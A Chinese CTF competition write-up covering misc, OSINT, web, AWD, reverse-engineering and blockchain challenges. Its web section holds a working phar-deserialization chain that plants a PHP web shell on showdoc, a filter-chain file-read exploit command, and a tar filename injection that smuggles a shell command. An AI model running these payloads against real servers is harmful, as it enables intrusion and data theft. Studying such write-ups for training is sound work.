招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
Misc
MISC – 我有一个朋友…
和机器人随便聊两句,就有了
MISC – ez_misc
给了个压缩包,里面是个流量包和一个压缩包
在流量包里面发现rsa的n,e,c
于是写脚本解密
from Crypto.Util.number import *
n= 43489217925558007563636756391400797378149529574751021903496069282535133839006866223260410550599538413407426964614588006275007400246991078260390312195904589721338428085434172399719461589261992218665591773334129943107225575727780195166055393685218448420720438980410624810057704307625828329627767464148252758001
e= 65537
c= 36130878068248402738560299131646475603724825552357501315563339107931689677118969949120034243479180229973732010106235105382800417726466593880006557216051126730665469539293176332289284136350093429079449794175396650185724862085491944146833903655679903611518298996520196270292730040114431445396188731766010616304
p = 81207361375222669491316104953044746246400146737625592406724026490508197814501
phi = p ** 3 * (p - 1)
d = inverse(e, phi)
print(d)
print(pow(c,d,n))
print(long_to_bytes(pow(c, d, n)))
得到flag{the_password_is_zkaq!!!}
,用密码the_password_is_zkaq!!!
打开压缩包,
里面是key.txt和flag.zip,key.txt感觉没有用
直接用字典就跑出来了flag.zip的密码,
用s1mple
打开就是flag。
OSINT – 摄影出片
原题,链接。
https://www.cnblogs.com/Mar10/p/18281173
flag:zkaq{Arlington Street, Boston}
web
web-php
源码:
<?php show_source(__FILE__); file($_POST['a']); ?>
只有file函数,无法回显。
找到一篇文章,
https://xz.aliyun.com/t/12939?time__1311=GqGxuD9Qi%3Dn4lrzG7DyDmxiTU4ROc1Qx%3DoD#toc-16
使用PHP中的包装器filter实现任意文件读取攻击,直接用他的工具。
python .filters_chain_oracle_exploit.py –target http://tefgmrho.lab.aqlab.cn –file /flag –parameter a –headers "{"Authorization": "Basic emthcTp6a2Fx"}"
得到flag。
web2
先注册登录,尝试直接读取flag /server/index.php?s=/../../../../flag.txt 直接爆出了绝对路径
showdoc 3.25存在前台rce漏洞,
直接打现成的链子:
<?php
namespace GuzzleHttpCookie {
class CookieJar
{
private $cookies;
public function __construct()
{
$this->cookies = array(new SetCookie());
}
private $strictMode;
}
class FileCookieJar extends CookieJar
{
private $filename = "/var/www/html/shell.php";
private $storeSessionCookies = true;
}
class SetCookie
{
private $data = array('Expires' => '<?php eval($_POST[0]);?>');
}
}
namespace {
$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new GuzzleHttpCookieFileCookieJar();
$phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的⽂件
//签名⾃动计算
$phar->stopBuffering();
}
生成phar文件,还需改个jpg后缀。
然后上传shell.jpg,查看图片路径
然后访问/server/index.php?s=home/index/new_is_writeable&file=phar://../Public/Uploads/2024-08-24/66c99c8ba850b.jpg,然后访问我们写入马子的位置
可成功getshell,然后蚁剑连接拿flag
Just A Index
打开发现啥也没有,发现用的是aiohttp/3.9.1,这个版本有一个目录遍历漏洞
于是直接读flag
AWD
Nothing
nuxt的任意文件读取漏洞
可以获取flag
Scan
题目长这样,给出了附件
app.py :
import flask
import subprocess
import re
app = Flask(__name__)
... ...
@app.route('/submit', methods=['POST'])
def submit():
... ...
if url is None:
return "No URL! ", 400
if not url_pattern.match(url):
return "URL格式错误!", 400
if url:
command = ['./nuclei', '--silent', '-u', url, '-t', '0day-templates.yaml']
try:
result = subprocess.run(command, capture_output=True, text=True)
print(result.stdout)
if 'info' in result.stdout and '/api/v2/echo' in result.stdout and 'custom-templates' in result.stdout:
return flag
else:
return "非常安全,没有问题!"
except subprocess.CalledProcessError:
return "Error occurred while running command"
return "Invalid request"
if __name__ == '__main__':
... ...
0day-templates.yaml
id: custom-templates
info:
name: woowohhhhhhh
author: xxx
severity: info
reference: https://xxx.com
metadata:
max-request: 2
tags: ctf,zkaq
http:
- raw:
- |
GET /api/v1/version/ HTTP/1.1
Host: {{Hostname}}
Referer: https://xxx.com
- |
GET /api/v2/echo/?name=<script>alert(1111)</script>&file=/etc/p0sswd_95271834 HTTP/1.1
Host: {{Hostname}}
Referer: https://xxx.com
req-condition: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- compare_versions(version, '<= 10.0.5', '> 10.0.1')
- type: word
part: body_1
words:
- ""NAME":"HACKER""
- ""msg":"success""
condition: and
case-insensitive: true
- type: dsl
dsl:
- "regex('zkaq{[a-z]}', body_2)"
- 'contains(body_2, "<script>alert(1111)</script>")'
- "status_code_2 == 200"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
internal: true
part: body_1
regex:
- ""version":"([0-9.]+)""
简单审计代码,发现主要有两个检查
-
/api/v1/version
从 /api/v1/version/
读取响应,通过使用正则表达式提取版本号来检查 API 版本的响应。
它查找类似 “version”:“X.X.X”
的模式,并提取X.X.X
部分作为版本号。
然后,它会比较此提取的版本,以确保它小于或等于 10.0.5 和大于 10.0.1。
-
/api/v2/echo
从
/api/v2/echo/
终端节点读取响应,然后检查响应正文 (body_1
) 是否包含特定内容,包括
“NAME”:“HACKER”
和“msg”:“success”。
此检查不区分大小写。在
body_2
上执行正则表达式匹配,查找模式zkaq{[a-z]}
。会检查
body_2
是否包含字符串“<script>alert(1111)</script>”。
确保 HTTP 状态代码为 200 (
status_code_2 == 200
)。
在自己的服务器上创建一个目录html
设置/api/v1/version
创建index.html
<!DOCTYPE html>
<html>
<head>
<title>First Endpoint</title>
</head>
<body>
<p>{"NAME":"HACKER","msg":"success","version":"10.0.4"}</p>
</body>
设置/api/v2/echo
创建index.html
<!DOCTYPE html>
<html>
<head>
<title>Second Endpoint</title>
</head>
<body>
<p>xxxcom</p>
<p>zkaq{a}</p>
<script>alert(1111)</script>
</body>
</html>
然后再html下执行
python3 -m http.server 9999
访问链接即可得到flag
压缩打包站
一个上传题目
功能源代码 :
# upload file
@app.route('/api/upload', methods=['POST'])
def upload():
file = request.files.get('file', None)
if file is None:
return 'No file provided', 400
# check for path traversal
if '..' in file.filename or '/' in file.filename:
return 'Invalid file name', 400
# check file size
if len(file.read()) > 1000:
return 'File too large', 400
file.save(f'uploads/{g.uuid}/{file.filename}')
return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200
# download file
@app.route('/api/download', methods=['GET'])
def download():
@after_this_request
def remove_file(response):
os.system(f"rm -rf uploads/{g.uuid}/out.tar")
return response
# make a tar of all files
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
# send tar to user
return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
存在命令:
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
于是上传文件名为
--checkpoint-action=exec=python3 -c "import os;x = chr(47);os.system(f'cp {x}flag* .')"
--checkpoint=1
的文件。
点击下载按钮后,刷新页面后,文件列表显示了一个名为 flag_2ac4860abcaf706adb7ae07f81f69e24
的附加文件。
打开就是flag。
re
Blockchain-签到
首先查看题目给了一个合约地址(Sepolia 测试网)
上区块链浏览器查一下,发现有源码:
合约逻辑很简单,只有一个函数来检查输入的 bytes32 类型的数据是否跟 flag 相同,flag 是 private 变量,但是可以工具直接访问私有变量
直接上 Foundry
随便找个在线网站解一下:
RE – 双角出征,寸草不生
两个exe,逻辑的check和加密的逻辑分别分开了,跑起来其中一个之后,先取出check里面的密文
再把另外一个跑起来,输入的变换就在这部分,一下不太好找,但是可以看出来就是一个异或,先将密文的前面5个字节与flag{
做一个异或得知前面的异或值为0x7f,0x5b,0x54,0x51,0x73
然后去上图中跟进变量逛了一下找到了相似的地方
以此取出来之后与密文做一下异或即可
tmp=[
0x19, 0x37, 0x35, 0x36, 0x08, 0x1B,0x36,0x3E,0xD4,0xE6,
0x0A, 0x3C,0xE6, 0x5A, 0x29,
0x16, 0x15 ,0x7D ,0x1D ,0x4B,
0xD0, 0x2E ,0xC2 ,0xCC ,0x38
,0x0B ,0xD9 ,0x98,0x26
]
opcode = [0x7f,0x5b,0x54,0x51,0x73,0x48,0x5E,0x57,0xBA,0xB9,0x4B,0x55,0xB9,0x14,0x48,0x49,0x47,0x08,0x42,0x0A,0xBE,0x4F,0xB6,0xAD,0x67,0x43,0xBC,0xB9,0x5B]
for i in range(len(opcode)):
print(chr(opcode[i]^tmp[i]),end='')
得到flag。
Blockchain-Break Through The Barrier
Sepolia 看一眼源码:
合约版本 < 0.8 ,is_solved 条件:我们地址拿到 type(uint256).max 的 token,直接下溢。区块链浏览器直接交互就行
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):掌控安全CTF挑战赛 writeup by Mini-Venom